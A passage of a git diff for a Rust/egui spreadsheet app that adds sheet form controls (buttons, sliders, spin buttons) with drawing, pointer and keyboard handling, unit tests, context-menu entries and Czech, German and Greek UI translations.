solver_results(app, ui, &mut d, &mut open), "spelling" => spelling(app, ui, &mut d, &mut open), + "assignAction" => crate::control_ui::assign_dialog(app, ui, &mut d, &mut open), + "formatControl" => crate::control_ui::format_dialog(app, ui, &mut d, &mut open), + "controlQuestion" => crate::control_ui::question_dialog(app, ui, &mut d, &mut open), "agents" => { ui.label("GridCraft is fully drivable by agents. Every menu item, button and gesture is a command:"); ui.add_space(4.0); diff --git a/crates/ui-egui/src/form_controls.rs b/crates/ui-egui/src/form_controls.rs new file mode 100644 index 000000000..c4fff919a --- /dev/null +++ b/crates/ui-egui/src/form_controls.rs @@ -0,0 +1,443 @@ +//! Form controls on the sheet: drawing buttons, sliders and spin buttons, and working them with +//! the pointer and the keyboard. A click operates a control; Ctrl or Cmd+click, or a right-click, +//! selects it instead (to move, resize or format it). Values change through `control.setValue`, +//! and a whole drag or a held arrow is one undo step. +//! +//! Positions are logical (see `Geo::rtl`): on a right-to-left sheet a control moves as a whole +//! but is not mirrored, so a point inside it is reflected back with [`inner`] first. + +use egui::epaint::PathShape; +use egui::{Painter, Pos2, Rect, Stroke, StrokeKind, pos2, vec2}; +use gridcraft_engine::model::{ControlKind, FormControl, ObjKind, ObjRef, Sheet}; +use serde_json::json; + +use crate::SheetApp; +use crate::grid::Geo; +use crate::theme::{self, Tokens}; + +/// How long an arrow or the track waits before it repeats, and then between repeats (seconds). +const REPEAT_DELAY: f64 = 0.4; +const REPEAT_EVERY: f64 = 0.06; + +/// The part of a control under the pointer. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub enum Part { + Button, + /// A spin button's arrow that adds a step. + Up, + /// A spin button's arrow that takes a step away. + Down, + Thumb, + /// The track on the minimum's side of the thumb (a page down). + TrackBefore, + /// The track on the maximum's side of the thumb (a page up). + TrackAfter, +} + +/// A control being worked with the pointer. +#[derive(Clone, Debug, PartialEq)] +pub struct Gesture { + pub id: u32, + pub part: Part, + /// Thumb drags: where along the track the pointer grabbed the thumb, from its centre. + pub grab: f32, + /// The undo stack's length when the gesture began: everything it changes is one step. + pub undo_start: usize, + /// When a held arrow or track repeats next (egui time, seconds). + pub next_repeat: f64, +} + +/// What a control looks like this frame. +#[derive(Clone, Copy, Debug, Default, PartialEq)] +pub struct Look { + pub hover: Option, + pub pressed: Option, + pub focused: bool, + /// Show the value next to the thumb (while dragging). + pub show_value: bool, +} + +fn fraction(c: &FormControl) -> f32 { + let span = c.max.saturating_sub(c.min).max(1) as f32; + (c.value.saturating_sub(c.min) as f32 / span).clamp(0.0, 1.0) +} + +/// A slider's track and thumb in `r`. A horizontal slider has its minimum on the left; a vertical +/// one has it at the top (as Excel's scroll bars do). +pub fn slider_parts(r: Rect, c: &FormControl, z: f32) -> (Rect, Rect) { + let f = fraction(c); + if c.horizontal { + let knob = (r.height() - 4.0 * z).clamp(6.0 * z, 16.0 * z).min(r.width() / 2.0).max(1.0); + let track = Rect::from_center_size(r.center(), vec2((r.width() - knob).max(1.0), (4.0 * z).min(r.height()))); + let x = track.left() + f * track.width(); + (track, Rect::from_center_size(pos2(x, r.center().y), vec2(knob, (r.height() - 4.0 * z).max(4.0)))) + } else { + let knob = (r.width() - 4.0 * z).clamp(6.0 * z, 16.0 * z).min(r.height() / 2.0).max(1.0); + let track = Rect::from_center_size(r.center(), vec2((4.0 * z).min(r.width()), (r.height() - knob).max(1.0))); + let y = track.top() + f * track.height(); + (track, Rect::from_center_size(pos2(r.center().x, y), vec2((r.width() - 4.0 * z).max(4.0), knob))) + } +} + +/// A spin button's halves: (the arrow that adds, the arrow that subtracts). Tall spin buttons +/// stack them (up on top); wide ones put them side by side (up on the right). +pub fn spin_parts(r: Rect) -> (Rect, Rect) { + if r.height() >= r.width() { + let (top, bottom) = r.split_top_bottom_at_fraction(0.5); + (top, bottom) + } else { + let (left, right) = r.split_left_right_at_fraction(0.5); + (right, left) + } +} + +/// A logical point `p` inside control rect `r`, as the control is drawn: on a right-to-left +/// sheet the control moves as a whole without mirroring, so `p` is reflected within `r`. +pub fn inner(geo: &Geo, r: Rect, p: Pos2) -> Pos2 { + if geo.rtl { pos2(r.left() + r.right() - p.x, p.y) } else { p } +} + +/// The part of control `c` (drawn in `r`) under `p`. +pub fn part_at(r: Rect, c: &FormControl, z: f32, p: Pos2) -> Option { + if !r.contains(p) { + return None; + } + Some(match c.kind { + ControlKind::Button => Part::Button, + ControlKind::Spin => { + let (up, _) = spin_parts(r); + if up.contains(p) { Part::Up } else { Part::Down } + } + ControlKind::Slider => { + let (_, thumb) = slider_parts(r, c, z); + if thumb.expand(2.0).contains(p) { + Part::Thumb + } else { + let before = if c.horizontal { p.x < thumb.center().x } else { p.y < thumb.center().y }; + if before { Part::TrackBefore } else { Part::TrackAfter } + } + } + }) +} + +/// The value a thumb dragged to `p` stands for (`grab`: the offset from the thumb's centre where +/// it was grabbed). +pub fn value_at(r: Rect, c: &FormControl, z: f32, p: Pos2, grab: f32) -> f64 { + let (track, _) = slider_parts(r, c, z); + let f = if c.horizontal { (p.x - grab - track.left()) / track.width().max(1.0) } else { (p.y - grab - track.top()) / track.height().max(1.0) }; + c.min as f64 + f.clamp(0.0, 1.0) as f64 * c.max.saturating_sub(c.min) as f64 +} + +/// Paints control `c` in `r`, in the sheet's control colours. +pub fn paint(p: &Painter, r: Rect, c: &FormControl, z: f32, look: Look) { + let t = Tokens::get(p.ctx()); + let border = Stroke::new(1.0, t.sheet_control_border); + let bg = |part: Part| { + if look.pressed == Some(part) { + t.sheet_control_pressed + } else if look.hover == Some(part) { + t.sheet_control_hover + } else { + t.sheet_control_bg + } + }; + let clip = p.with_clip_rect(r.expand(2.0 * z.max(1.0) + 3.0).intersect(p.clip_rect())); + match c.kind { + ControlKind::Button => { + let fill = bg(Part::Button); + clip.rect_filled(r, 3.0 * z, fill); + clip.rect_stroke(r, 3.0 * z, border, StrokeKind::Inside); + let shift = if look.pressed == Some(Part::Button) { vec2(0.0, 1.0) } else { vec2(0.0, 0.0) }; + let g = clip.layout(c.text.clone(), theme::ui_font(12.0 * z), t.sheet_control_text, (r.width() - 8.0 * z).max(1.0)); + clip.with_clip_rect(r.shrink(1.0).intersect(clip.clip_rect())).galley(r.center() - g.size() / 2.0 + shift, g, t.sheet_control_text); + } + ControlKind::Slider => { + clip.rect_filled(r, 2.0 * z, t.sheet_control_bg); + clip.rect_stroke(r, 2.0 * z, border, StrokeKind::Inside); + let (track, thumb) = slider_parts(r, c, z); + clip.rect_filled(track, 2.0 * z, t.sheet_track); + let filled = if c.horizontal { + Rect::from_min_max(track.min, pos2(thumb.center().x, track.max.y)) + } else { + Rect::from_min_max(track.min, pos2(track.max.x, thumb.center().y)) + }; + clip.rect_filled(filled, 2.0 * z, t.sheet_fill); + let knob = if look.pressed == Some(Part::Thumb) || look.hover == Some(Part::Thumb) { t.sheet_control_text } else { t.sheet_thumb }; + clip.rect_filled(thumb, 3.0 * z, knob); + clip.rect_stroke(thumb, 3.0 * z, Stroke::new(1.0, t.sheet_control_bg), StrokeKind::Inside); + if look.show_value { + let g = clip.layout_no_wrap(c.value.to_string(), theme::ui_font(11.0 * z), t.sheet_control_text); + let at = if c.horizontal { + pos2(thumb.center().x - g.size().x / 2.0, r.top() - g.size().y - 4.0 * z) + } else { + pos2(r.right() + 4.0 * z, thumb.center().y - g.size().y / 2.0) + }; + let card = Rect::from_min_size(at, g.size()).expand(2.0 * z); + p.rect_filled(card, 2.0 * z, t.sheet_control_bg); + p.rect_stroke(card, 2.0 * z, border, StrokeKind::Inside); + p.galley(at, g, t.sheet_control_text); + } + } + ControlKind::Spin => { + let (up, down) = spin_parts(r); + let tall = r.height() >= r.width(); + for (half, part) in [(up, Part::Up), (down, Part::Down)] { + clip.rect_filled(half, 2.0 * z, bg(part)); + clip.rect_stroke(half, 2.0 * z, border, StrokeKind::Inside); + let s = (half.width().min(half.height()) * 0.28).max(1.5); + let m = half.center(); + let tri = match (tall, part) { + (true, Part::Up) => vec![pos2(m.x, m.y - s * 0.6), pos2(m.x - s, m.y + s * 0.5), pos2(m.x + s, m.y + s * 0.5)], + (true, _) => vec![pos2(m.x, m.y + s * 0.6), pos2(m.x + s, m.y - s * 0.5), pos2(m.x - s, m.y - s * 0.5)], + (false, Part::Up) => vec![pos2(m.x + s * 0.6, m.y), pos2(m.x - s * 0.5, m.y + s), pos2(m.x - s * 0.5, m.y - s)], + (false, _) => vec![pos2(m.x - s * 0.6, m.y), pos2(m.x + s * 0.5, m.y - s), pos2(m.x + s * 0.5, m.y + s)], + }; + clip.add(PathShape::convex_polygon(tri, t.sheet_control_text, Stroke::NONE)); + } + } + } + if look.focused { + p.rect_stroke(r.expand(2.0), 3.0 * z, Stroke::new(2.0, t.sheet_focus), StrokeKind::Outside); + } +} + +/// The control with `id` on `sh`. +pub fn find(sh: &Sheet, id: u32) -> Option<&FormControl> { + sh.controls.iter().find(|c| c.id == id) +} + +/// How control `c` looks this frame, from the gesture, the focus and the pointer (`hover`, a +/// logical position). +pub fn look(app: &SheetApp, geo: &Geo, c: &FormControl, r: Rect, hover: Option) -> Look { + let gesture = app.grid.control.as_ref().filter(|g| g.id == c.id); + let selected = app.selected_object == Some(ObjRef::new(ObjKind::Control, c.id)); + let hover = if selected { None } else { hover.and_then(|p| part_at(r, c, geo.z, inner(geo, r, p))) }; + let pressed = gesture.map(|g| g.part).filter(|part| *part == Part::Thumb || hover == Some(*part)); + Look { hover, pressed, focused: app.grid.focused_control == Some(c.id) && !selected, show_value: gesture.is_some_and(|g| g.part == Part::Thumb) } +} + +impl SheetApp { + /// Sets a slider or spin button's value; inside a gesture, keeps it one undo step. + fn control_set(&mut self, id: u32, value: f64) -> bool { + match self.session.run("control.setValue", json!({"id": id, "value": value})) { + Ok(_) => { + if let Some(start) = self.grid.control.as_ref().map(|g| g.undo_start) + && let Some(d) = self.session.active_mut() + && d.undo.len() > start + 1 + { + d.undo.truncate(start + 1); + } + true + } + Err(e) => { + self.grid.control = None; + self.message = Some(("Form Control".into(), crate::clean_error(&e))); + false + } + } + } + + /// Moves a slider or spin button by `steps` steps (negative: toward the minimum), or by pages + /// when `page` is set. + pub fn control_nudge(&mut self, id: u32, steps: i64, page: bool) -> bool { + let Some(c) = self.session.active().and_then(|d| d.wb.active()).and_then(|sh| find(sh, id)).cloned() else { return false }; + if c.kind == ControlKind::Button { + return false; + } + let by = if page && c.kind == ControlKind::Slider { c.page } else { c.step } as f64; + self.control_set(id, c.value as f64 + steps as f64 * by) + } + + /// Runs a button's action. Questions (approve it, make room for a macro's output) become a + /// prompt. + pub fn press_button(&mut self, id: u32) { + crate::control_ui::press(self, json!({"id": id})); + } +} + +/// Pointer handling for controls on the grid. Returns true when it used the pointer this frame +/// (so the grid neither selects cells nor objects). +pub fn interact(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Response, geo: &Geo, sh: &Sheet) -> bool { + let (pointer, mods, time) = ctx.input(|i| (i.pointer.clone(), i.modifiers, i.time)); + let pos = pointer.interact_pos().or(pointer.hover_pos()).map(|p| geo.mirror_pos(p)); + // A control that no longer exists loses its gesture and focus. + if let Some(id) = app.grid.focused_control + && find(sh, id).is_none() + { + app.grid.focused_control = None; + } + if let Some(g) = app.grid.control.clone() { + let Some(c) = find(sh, g.id).cloned() else { + app.grid.control = None; + return true; + }; + let r = crate::chartview::anchor_rect(geo, sh, &c.anchor); + if pointer.primary_down() { + match g.part { + Part::Thumb => { + if let Some(p) = pos { + let v = c.snap(value_at(r, &c, geo.z, inner(geo, r, p), g.grab)); + if v != c.value { + app.control_set(c.id, v as f64); + } + } + } + Part::Button => {} + part => { + // Held arrows and track repeat while the pointer stays on them. + let over = pos.and_then(|p| part_at(r, &c, geo.z, inner(geo, r, p))) == Some(part); + if over && time >= g.next_repeat { + step_part(app, &c, part); + if let Some(gg) = app.grid.control.as_mut() { + gg.next_repeat = time + REPEAT_EVERY; + } + } + ctx.request_repaint_after(std::time::Duration::from_millis(30)); + } + } + return true; + } + // Released: a button runs when the pointer is still on it. + app.grid.control = None; + if g.part == Part::Button && pos.is_some_and(|p| r.contains(p)) { + app.press_button(c.id); + } + resp.request_focus(); + return true; + } + if !pointer.primary_pressed() || !resp.contains_pointer() { + // Any other press on the grid moves the focus off the control. + if pointer.any_pressed() && app.grid.focused_control.is_some() && !resp.contains_pointer() { + app.grid.focused_control = None; + } + return false; + } + let Some(p) = pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) else { return false }; + // The selected object's handles reach past its frame and win over a control beneath them. + if let Some(r) = app.selected_object.and_then(|o| crate::chartview::object_rect(geo, sh, o)) + && crate::objects::handle_at(r, p).is_some() + { + return false; + } + let hit = crate::chartview::hit(app, geo, sh, p).filter(|(o, _)| o.kind == ObjKind::Control); + // Ctrl or Cmd+click selects; a selected control moves and resizes instead of working. + let Some((o, r)) = hit.filter(|(o, _)| !mods.command && !mods.ctrl && app.selected_object != Some(*o)) else { + app.grid.focused_control = None; + return false; + }; + let Some(c) = find(sh, o.id).cloned() else { return false }; + let p = inner(geo, r, p); + let Some(part) = part_at(r, &c, geo.z, p) else { return false }; + app.selected_object = None; + app.grid.focused_control = Some(c.id); + let undo_start = app.session.active().map_or(0, |d| d.undo.len()); + let grab = if part == Part::Thumb { + let (_, thumb) = slider_parts(r, &c, geo.z); + if c.horizontal { p.x - thumb.center().x } else { p.y - thumb.center().y } + } else { + 0.0 + }; + app.grid.control = Some(Gesture { id: c.id, part, grab, undo_start, next_repeat: time + REPEAT_DELAY }); + if !matches!(part, Part::Button | Part::Thumb) { + step_part(app, &c, part); + } + resp.request_focus(); + true +} + +/// One click on an arrow or the track. +fn step_part(app: &mut SheetApp, c: &FormControl, part: Part) { + match part { + Part::Up => app.control_nudge(c.id, 1, false), + Part::Down => app.control_nudge(c.id, -1, false), + Part::TrackBefore => app.control_nudge(c.id, -1, true), + Part::TrackAfter => app.control_nudge(c.id, 1, true), + Part::Button | Part::Thumb => false, + }; +} + +/// Keys for the focused control: arrows move by a step, Page Up and Page Down by a page, Home and +/// End to the ends; Space or Enter presses a button. True when the key was used. +pub fn key(app: &mut SheetApp, sh: &Sheet, key: egui::Key) -> bool { + use egui::Key; + let Some(c) = app.grid.focused_control.and_then(|id| find(sh, id)).cloned() else { return false }; + if app.selected_object.is_some() { + return false; + } + match (c.kind, key) { + (_, Key::Escape) => { + app.grid.focused_control = None; + true + } + (ControlKind::Button, Key::Space | Key::Enter) => { + app.press_button(c.id); + true + } + (ControlKind::Button, _) => false, + // A spin button's up arrow adds; a slider's minimum is at its left or top. + (ControlKind::Spin, Key::ArrowUp | Key::ArrowRight) | (ControlKind::Slider, Key::ArrowDown | Key::ArrowRight) => { + app.control_nudge(c.id, 1, false) + } + (ControlKind::Spin, Key::ArrowDown | Key::ArrowLeft) | (ControlKind::Slider, Key::ArrowUp | Key::ArrowLeft) => { + app.control_nudge(c.id, -1, false) + } + (ControlKind::Spin, Key::PageUp) | (ControlKind::Slider, Key::PageDown) => app.control_nudge(c.id, 1, true), + (ControlKind::Spin, Key::PageDown) | (ControlKind::Slider, Key::PageUp) => app.control_nudge(c.id, -1, true), + (_, Key::Home) => app.control_set(c.id, c.min as f64), + (_, Key::End) => app.control_set(c.id, c.max as f64), + _ => false, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn slider(value: u32, horizontal: bool) -> FormControl { + FormControl { kind: ControlKind::Slider, min: 0, max: 100, value, horizontal, ..Default::default() } + } + + #[test] + fn the_thumb_sits_at_the_value_and_dragging_reads_it_back() { + let r = Rect::from_min_size(pos2(10.0, 10.0), vec2(200.0, 20.0)); + for v in [0, 25, 50, 100] { + let c = slider(v, true); + let (_, thumb) = slider_parts(r, &c, 1.0); + assert!((value_at(r, &c, 1.0, thumb.center(), 0.0) - v as f64).abs() < 0.5, "{v}"); + assert_eq!(part_at(r, &c, 1.0, thumb.center()), Some(Part::Thumb)); + } + let c = slider(50, true); + assert_eq!(part_at(r, &c, 1.0, pos2(15.0, 20.0)), Some(Part::TrackBefore)); + assert_eq!(part_at(r, &c, 1.0, pos2(205.0, 20.0)), Some(Part::TrackAfter)); + assert_eq!(part_at(r, &c, 1.0, pos2(5.0, 20.0)), None); + // Past the ends clamps. + assert_eq!(value_at(r, &c, 1.0, pos2(-500.0, 20.0), 0.0), 0.0); + assert_eq!(value_at(r, &c, 1.0, pos2(900.0, 20.0), 0.0), 100.0); + // Vertical: the minimum is at the top. + let r = Rect::from_min_size(pos2(0.0, 0.0), vec2(20.0, 200.0)); + let c = slider(0, false); + let (_, thumb) = slider_parts(r, &c, 1.0); + assert!(thumb.center().y < 20.0); + assert_eq!(part_at(r, &slider(50, false), 1.0, pos2(10.0, 190.0)), Some(Part::TrackAfter)); + } + + #[test] + fn spin_halves() { + let tall = Rect::from_min_size(pos2(0.0, 0.0), vec2(18.0, 36.0)); + let c = FormControl { kind: ControlKind::Spin, ..Default::default() }; + assert_eq!(part_at(tall, &c, 1.0, pos2(9.0, 5.0)), Some(Part::Up)); + assert_eq!(part_at(tall, &c, 1.0, pos2(9.0, 30.0)), Some(Part::Down)); + let wide = Rect::from_min_size(pos2(0.0, 0.0), vec2(40.0, 18.0)); + assert_eq!(part_at(wide, &c, 1.0, pos2(35.0, 9.0)), Some(Part::Up)); + assert_eq!(part_at(wide, &c, 1.0, pos2(5.0, 9.0)), Some(Part::Down)); + } + + #[test] + fn degenerate_ranges_do_not_divide_by_zero() { + let r = Rect::from_min_size(pos2(0.0, 0.0), vec2(1.0, 1.0)); + let c = FormControl { kind: ControlKind::Slider, min: 5, max: 5, value: 5, ..Default::default() }; + let (track, thumb) = slider_parts(r, &c, 1.0); + assert!(track.width().is_finite() && thumb.center().x.is_finite()); + assert!(value_at(r, &c, 1.0, pos2(0.5, 0.5), 0.0).is_finite()); + } +} diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 85ff53b07..e86f7aac6 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -240,6 +240,14 @@ pub struct GridState { pub hf_start: bool, /// The grid geometry of the last frame (hit-testing for agents and tests). pub geo: Option, + /// A form control being worked with the pointer. + pub control: Option, + /// The form control that takes the arrow keys (the one last worked). + pub focused_control: Option, + /// Insert › Controls: the kind a click or drag on the grid places, and where the drag began + /// (logical position). + pub placing: Option, + pub place_start: Option, /// The horizontal scrollbar's track in the sheet tab bar (hit-testing for tests). pub hscroll: Option, /// The handle between the sheet tabs and the horizontal scrollbar (hit-testing for tests). diff --git a/crates/ui-egui/src/grid/cursor.rs b/crates/ui-egui/src/grid/cursor.rs index f93e59cb6..2b560b3d9 100644 --- a/crates/ui-egui/src/grid/cursor.rs +++ b/crates/ui-egui/src/grid/cursor.rs @@ -1,3 +1,5 @@ +use gridcraft_engine::model::ObjKind; + use super::geo::Geo; use super::interact::{col_edge, freeze_handles, hidden_col_edge, hidden_row_edge, on_border, row_edge}; use super::{CellRef, Color32, CursorIcon, Drag, Pos2, RangeRef, Rect, Sheet, SheetApp, Stroke, pos2, vec2}; @@ -21,8 +23,9 @@ pub(super) fn update_cursor(app: &mut SheetApp, ui: &egui::Ui, resp: &egui::Resp { app.grid.hover_cell = in_cells.then(|| geo.cell_at(sh, p)); } - // Draw tools own the cursor over cells, including while recording a stroke. - if !app.session.draw_tool.is_empty() && in_cells { + // Draw tools and Insert › Controls placement own the cursor over cells, including while + // recording a stroke or drawing the control. + if (!app.session.draw_tool.is_empty() || app.grid.placing.is_some()) && in_cells { ctx.set_cursor_icon(CursorIcon::Crosshair); return; } @@ -79,9 +82,15 @@ fn hover_cursor(app: &SheetApp, ctx: &egui::Context, resp: &egui::Response, poin // The selected object's handles resize it; any object's body moves it. let idle = app.grid.drag == Drag::None && app.editor.is_none(); let object_handle = if idle { crate::chartview::selected_handle(app, geo, sh, p).map(|(.., h)| h) } else { None }; - let on_object = idle && crate::chartview::hit(app, geo, sh, p).is_some(); + let hit = if idle { crate::chartview::hit(app, geo, sh, p) } else { None }; + // A form control works on click unless it is selected (or Ctrl or Cmd is held). + let mods = ctx.input(|i| i.modifiers); + let works = hit.is_some_and(|(o, _)| o.kind == ObjKind::Control && app.selected_object != Some(o) && !mods.command && !mods.ctrl); + let on_object = hit.is_some(); if let Some(h) = object_handle { ctx.set_cursor_icon(h.cursor(geo.rtl)); + } else if works { + ctx.set_cursor_icon(CursorIcon::PointingHand); } else if on_object { ctx.set_cursor_icon(CursorIcon::Move); } else if near_col_edge || (in_row_header && row_edge(geo, sh, p.y).is_some()) { diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 4b7adf587..289f76206 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -64,6 +64,15 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo let in_col_header = pos.is_some_and(|p| p.y < geo.cells.top() && p.y >= geo.head_top() && p.x >= geo.cells.left()); let in_row_header = pos.is_some_and(|p| p.x < geo.cells.left() && p.x >= geo.head_left() && p.y >= geo.cells.top()); let in_corner = pos.is_some_and(|p| p.x < geo.cells.left() && p.y < geo.cells.top() && p.x >= geo.head_left() && p.y >= geo.head_top()); + // Insert › Controls places a control; a click works a form control (Ctrl or Cmd+click, or a + // right-click, selects it instead). + if app.editor.is_none() && crate::control_ui::place(app, ui, resp, geo, sh) { + return; + } + if app.editor.is_none() && app.session.draw_tool.is_empty() && crate::form_controls::interact(app, &ctx, resp, geo, sh) { + keyboard(app, &ctx, resp, geo, sh); + return; + } let sel = app.session.active().map(|d| d.selection.clone()).unwrap_or_default(); let cur_rect = geo.range_rect(sh, sel.current()); let handle = Rect::from_center_size(cur_rect.right_bottom(), vec2(9.0, 9.0)); @@ -146,14 +155,18 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo } app.selected_object = None; } - // A right-click on a chart, picture, shape or slicer opens the object's menu, not the cell's - // under it; a right press that wobbles into a drag counts too (#2067). + // A right-click on a chart, picture, shape, slicer or form control opens the object's menu, not + // the cell's under it; a right press that wobbles into a drag counts too (#2067). On a form + // control it selects the control without running it. let secondary_drag = resp.drag_started_by(egui::PointerButton::Secondary); if (resp.secondary_clicked() || secondary_drag) && let Some(p) = if secondary_drag { pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) } else { pos } && let Some((obj, _)) = crate::chartview::hit(app, geo, sh, p) { app.selected_object = Some(obj); + if obj.kind == ObjKind::Control { + app.grid.focused_control = None; + } app.grid.object_menu = Some((geo.mirror_pos(p), obj.kind.name(), obj.id)); return; } diff --git a/crates/ui-egui/src/grid/keyboard.rs b/crates/ui-egui/src/grid/keyboard.rs index b8823d570..f2d571bb3 100644 --- a/crates/ui-egui/src/grid/keyboard.rs +++ b/crates/ui-egui/src/grid/keyboard.rs @@ -32,7 +32,7 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res ctx.memory_mut(|m| { m.set_focus_lock_filter(resp.id, egui::EventFilter { tab: true, horizontal_arrows: true, vertical_arrows: true, escape: true }) }); - let events = ctx.input(|i| i.events.clone()); + let events = grid_events(app, ctx, sh); // A shortcut key that also types a character (Shift+Space sends Text(" ")) must not start an edit. let shortcut_pressed = events.iter().any(|e| { matches!(e, egui::Event::Key { pressed: true, modifiers: m, key, .. } @@ -157,3 +157,20 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res } } } + +/// This frame's input events, without those the focused form control took. +fn grid_events(app: &mut SheetApp, ctx: &egui::Context, sh: &Sheet) -> Vec { + let events = ctx.input(|i| i.events.clone()); + events.into_iter().filter(|ev| !form_control_event(app, sh, ev)).collect() +} + +/// Whether the focused form control takes `ev`: arrows, Page Up and Down, Home, End, Space and +/// Enter without Ctrl, Cmd or Alt, and the space a Space press types (it presses a focused button +/// and doesn't start typing in a cell). +fn form_control_event(app: &mut SheetApp, sh: &Sheet, ev: &egui::Event) -> bool { + match ev { + egui::Event::Text(text) => text == " " && app.grid.focused_control.is_some() && app.selected_object.is_none(), + egui::Event::Key { key, pressed: true, modifiers: m, .. } => !m.command && !m.ctrl && !m.alt && crate::form_controls::key(app, sh, *key), + _ => false, + } +} diff --git a/crates/ui-egui/src/grid/menus.rs b/crates/ui-egui/src/grid/menus.rs index b05a04bc7..0cd9c9d74 100644 --- a/crates/ui-egui/src/grid/menus.rs +++ b/crates/ui-egui/src/grid/menus.rs @@ -369,14 +369,22 @@ pub(super) fn fill_menu(app: &mut SheetApp, ui: &mut egui::Ui, was_open: bool) { } } -/// The right-click menu of a chart, picture, shape or slicer. +/// The right-click menu of a chart, picture, shape, slicer or form control (Edit Text and Assign +/// Action for a button, and Format Control, before Delete). pub(super) fn object_menu(app: &mut SheetApp, ui: &mut egui::Ui) { let Some((at, kind, id)) = app.grid.object_menu else { return }; let mut close = false; let resp = egui::Area::new(egui::Id::unique("object_context")).fixed_pos(at).order(egui::Order::Foreground).show(ui.ctx(), |ui| { egui::Frame::popup(ui.style()).show(ui, |ui| { ui.set_min_width(200.0); - let mut items = vec![("Delete", "object.delete")]; + let mut items = vec![]; + if kind == "control" { + if crate::control_ui::is_button(app, id) { + items.extend([("Edit Text", "ui:editText"), ("Assign Action…", "ui:assignAction")]); + } + items.extend([("Format Control…", "ui:formatControl"), ("-", "")]); + } + items.push(("Delete", "object.delete")); if kind == "chart" { items.extend([("-", ""), ("Select Data…", "ui:selectData"), ("Format Chart Area…", "ui:formatChart")]); } @@ -391,6 +399,9 @@ pub(super) fn object_menu(app: &mut SheetApp, ui: &mut egui::Ui) { match action { "ui:selectData" => app.open_dialog("selectData", json!({"chart": id})), "ui:formatChart" => app.grid.pane = Some("formatChart".into()), + "ui:editText" => app.open_dialog("formatControl", json!({"id": id, "textOnly": true})), + "ui:assignAction" => app.open_dialog("assignAction", json!({"id": id})), + "ui:formatControl" => app.open_dialog("formatControl", json!({"id": id})), _ => { app.run_or_alert("object.delete", json!({"kind": kind, "id": id})); app.selected_object = None; diff --git a/crates/ui-egui/src/i18n/cs.rs b/crates/ui-egui/src/i18n/cs.rs index 9a6d54030..88bed777b 100644 --- a/crates/ui-egui/src/i18n/cs.rs +++ b/crates/ui-egui/src/i18n/cs.rs @@ -242,6 +242,15 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Convert to Comments" => "Převést na komentáře", "Checkbox" => "Zaškrtávací políčko", "Insert checkboxes in the selected cells" => "Vložit zaškrtávací políčka do vybraných buněk", + "Button" => "Tlačítko", + "Slider" => "Posuvník", + "Spin Button" => "Číselník", + "Draw a button that runs a macro or a command" => "Nakreslit tlačítko, které spustí makro nebo příkaz", + "Draw a slider that sets a whole number in a linked cell" => "Nakreslit posuvník, který nastaví celé číslo v propojené buňce", + "Draw a spin button that steps a whole number in a linked cell" => "Nakreslit číselník, který po krocích mění celé číslo v propojené buňce", + "Edit Text" => "Upravit text", + "Assign Action…" => "Přiřadit akci…", + "Format Control…" => "Formát ovládacího prvku…", "Sheet\nRight-to-Left" => "List zprava\ndoleva", "Sheet Right-to-Left" => "List zprava doleva", "Data\nAnalysis" => "Analýza\ndat", diff --git a/crates/ui-egui/src/i18n/de.rs b/crates/ui-egui/src/i18n/de.rs index 6427b279d..15775cf5d 100644 --- a/crates/ui-egui/src/i18n/de.rs +++ b/crates/ui-egui/src/i18n/de.rs @@ -246,6 +246,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Convert to Comments" => "In Kommentare konvertieren", "Checkbox" => "Kontrollkästchen", "Insert checkboxes in the selected cells" => "Kontrollkästchen in die ausgewählten Zellen einfügen", + "Button" => "Schaltfläche", + "Slider" => "Schieberegler", + "Spin Button" => "Drehfeld", + "Draw a button that runs a macro or a command" => "Eine Schaltfläche zeichnen, die ein Makro oder einen Befehl ausführt", + "Draw a slider that sets a whole number in a linked cell" => { + "Einen Schieberegler zeichnen, der eine ganze Zahl in einer verknüpften Zelle festlegt" + } + "Draw a spin button that steps a whole number in a linked cell" => { + "Ein Drehfeld zeichnen, das eine ganze Zahl in einer verknüpften Zelle schrittweise ändert" + } + "Edit Text" => "Text bearbeiten", + "Assign Action…" => "Aktion zuweisen…", + "Format Control…" => "Steuerelement formatieren…", "Sheet\nRight-to-Left" => "Blatt von rechts\nnach links", "Sheet Right-to-Left" => "Blatt von rechts nach links", "Data\nAnalysis" => "Daten-\nanalyse", diff --git a/crates/ui-egui/src/i18n/el.rs b/crates/ui-egui/src/i18n/el.rs index 9231f8244..1383f876f 100644 --- a/crates/ui-egui/src/i18n/el.rs +++ b/crates/ui-egui/src/i18n/el.rs @@ -235,6 +235,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Convert to Comments" => "Μετατροπή σε σχόλια", "Checkbox" => "Πλαίσιο ελέγχου", "Insert checkboxes in the selected cells" => "Εισαγωγή πλαισίων ελέγχου στα επιλεγμένα κελιά", + "Button" => "Κουμπί", + "Slider" => "Ρυθμιστικό", + "Spin Button" => "Κουμπί περιστροφής", + "Draw a button that runs a macro or a command" => "Σχεδίαση κουμπιού που εκτελεί μια μακροεντολή ή μια εντολή", + "Draw a slider that sets a whole number in a linked cell" => "Σχεδίαση ρυθμιστικού που ορίζει έναν ακέραιο αριθμό σε ένα συνδεδεμένο κελί", + "Draw a spin button that steps a whole number in a linked cell" => { + "Σχεδίαση κουμπιού περιστροφής που αλλάζει κατά βήματα έναν ακέραιο αριθμό σε ένα συνδεδεμένο κελί" + } + "Edit Text" => "Επεξεργασία κειμένου", + "Assign Action…" => "Αντιστοίχιση ενέργειας…", + "Format Control…" => "Μορφοποίηση στοιχείου ελέγχου…", 